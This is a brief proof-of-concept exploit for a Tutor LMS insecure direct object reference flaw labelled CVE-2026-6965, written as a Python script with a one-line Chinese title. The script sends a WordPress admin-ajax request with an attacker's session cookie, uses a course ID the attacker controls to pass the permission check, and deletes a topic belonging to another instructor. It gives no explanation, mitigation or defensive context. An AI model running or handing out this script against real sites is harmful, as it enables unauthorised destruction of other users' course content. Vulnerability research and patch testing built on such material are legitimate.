CVE-2026-6965 Tutor LMS IDOR漏洞

import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_cookie = "wordpress_logged_in_xxx=attacker_session_id" # Scenario: Attacker wants to delete a lesson (lesson_id=55) belonging to another instructor. # The attacker controls course_id=10 (where they have instructor privileges). # The vulnerability allows passing course_id=10 in the GET parameter to pass the check, # while the POST body targets lesson_id=55. payload = { "action": "tutor_delete_topic", # Example action "topic_id": 55 # Target content ID belonging to victim } # Malicious GET parameters to bypass can_user_manage() params = { "course": 10 # Attacker's controlled course ID } headers = { "Cookie": attacker_cookie, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(target_url, data=payload, params=params, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Target content likely deleted.") else: print("[-] Exploit failed.")